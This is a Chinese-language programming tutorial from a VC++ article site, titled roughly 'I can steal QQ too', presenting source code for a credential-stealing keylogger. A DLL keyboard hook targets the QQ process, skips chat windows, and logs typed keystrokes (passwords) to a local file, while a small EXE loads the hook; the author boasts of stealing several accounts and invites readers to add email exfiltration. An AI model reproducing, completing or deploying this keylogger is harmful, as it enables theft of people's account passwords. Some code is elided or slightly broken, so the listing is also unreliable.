您的位置:逆风者 VC++ 正文
 添加时间:2007-09-01 原文发表:2007-08-31 人气:26 来源:vckbase.com

盗QQ,我也会
作者:LiJing

下载本文配套代码

逆风者
这个程序我早就做好了(QQ也盗了好几个^_^),因为要考试,所以一直没机会投稿,现在暑假了,有大把的时间。这个程序有个缺点,就是邮件发送,我在网上找了好久,没一个如意的,如果有能做补充,那最好不过了。
程序分两部分:

一:DLL部分,这部分是一个钩子函数,是为了监视你的键盘输入,如果是输入QQ的,就记下你的数据(如果你要盗其他密码,不很容易吗?)

BOOL DllExport b_Focus()

{

	HWND hWnd;

	GUITHREADINFO* Info = new GUITHREADINFO;

	Info->cbSize = sizeof(GUITHREADINFO);

	if(::GetGUIThreadInfo(NULL,Info) == 0)	//当前线程的信息。

		return FALSE;

	hWnd = Info->hwndCaret;	//那个闪动的光标的控件

	if(hWnd == hcaretWnd)

	{

		return TRUE;

	}

	else

	{

		hcaretWnd = hWnd;

		return FALSE;

	}

}



LRESULT DllExport   CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

{

	if(::GetCurrentProcessId() != GetQQ())

		return CallNextHookEx(hkb, nCode, wParam, lParam );

	HWND H_wnd = ::GetForegroundWindow();

	char sTitle[255];

	CString ss;

	::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);

	ss = sTitle;

	int n = ss.Find("发送消息",0);

	int m = ss.Find("聊天室",0);

	if(m >= 0 || n >= 0)

		return CallNextHookEx(hkb, nCode, wParam, lParam );



	if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)

	{

		CString sName;

		BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1)如果shift按下

		if(b_Sft)

		{

			switch(wParam)

			{

			case ''1'':sName = "!";break;

			case ''A'':sName = "A";break;

			}

		}

		else

		{

			switch(wParam)

			{

			// 0~9	

			case ''1'':sName = "1";break;

			...

			// A~Z

			case ''A'':sName = "a";break;

			...

			}

		}

		//数字键



		switch(wParam)

		{

 		case VK_BACK:sName = "~";break;

		...

		case VK_NUMPAD1:sName = "1";break;

		...

		}

		//其他键的处理

		char KeyName[50];

		ZeroMemory(KeyName,50);

		GetKeyNameText(lParam,KeyName,50);

		CString KeyNameStr=KeyName;

		if(KeyNameStr=="`")

		{

			if(b_Sft)

				sName = "~";

			else

				sName = "`";

		}

		m_pfile.Open("D:\\ww.txt",CFile::modeWrite);

		m_pfile.SeekToEnd();

		if(!b_Focus())

		{

			CString ss = "\r\n";

			m_pfile.Write(ss,ss.GetLength());

		}

		m_pfile.Write(sName, sName.GetLength());

		m_pfile.Close();



	}

	LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );	

	return  RetVal;

}
具体的请看源代码

二:exe部分,这部分就是加载dll文件,很简单。
static HINSTANCE hinstDLL;

typedef void (CALLBACK *inshook)();//定义回调函数的地址 

inshook instkbhook;

if(hinstDLL=LoadLibrary((LPCTSTR)"test3.dll"))

{

	instkbhook=(inshook)GetProcAddress(hinstDLL, "installhook"); 

	instkbhook();

}
(完)
相关文章

对《一个完善的ODBC数据库程序》一文的补充
Python 的数据库操作
类似 MSN 信息发送框的制作(上)
阻止全局钩子的加载
基于DirectShow非线性编辑DES
COM 组件设计与应用(十七)——持续性
使用
教你如何作弊玩扫雷
杂谈:项目管理的是与非
定制调试诊断工具和实用程序——摆脱DLL“地
用微软的实时通信API集成丰富的客户端通信
用DirectShow抓取影片帧
在MDI程序中实现类似WPS2000的文件切换标签
对话框模板,RegexTest
高效开发与彻底测试
如何在NT下获取进程的路径(增补)
在MFC中用正则表达式对窗体进行有效性验证
对《一个简单的学生成绩管理系统》优化的一
深入浅出 CPropertySheet
实现类似Excel和Visual C 里文件夹式样的标

相关评论


本文章所属分类:首页 VC++

  热门关键字: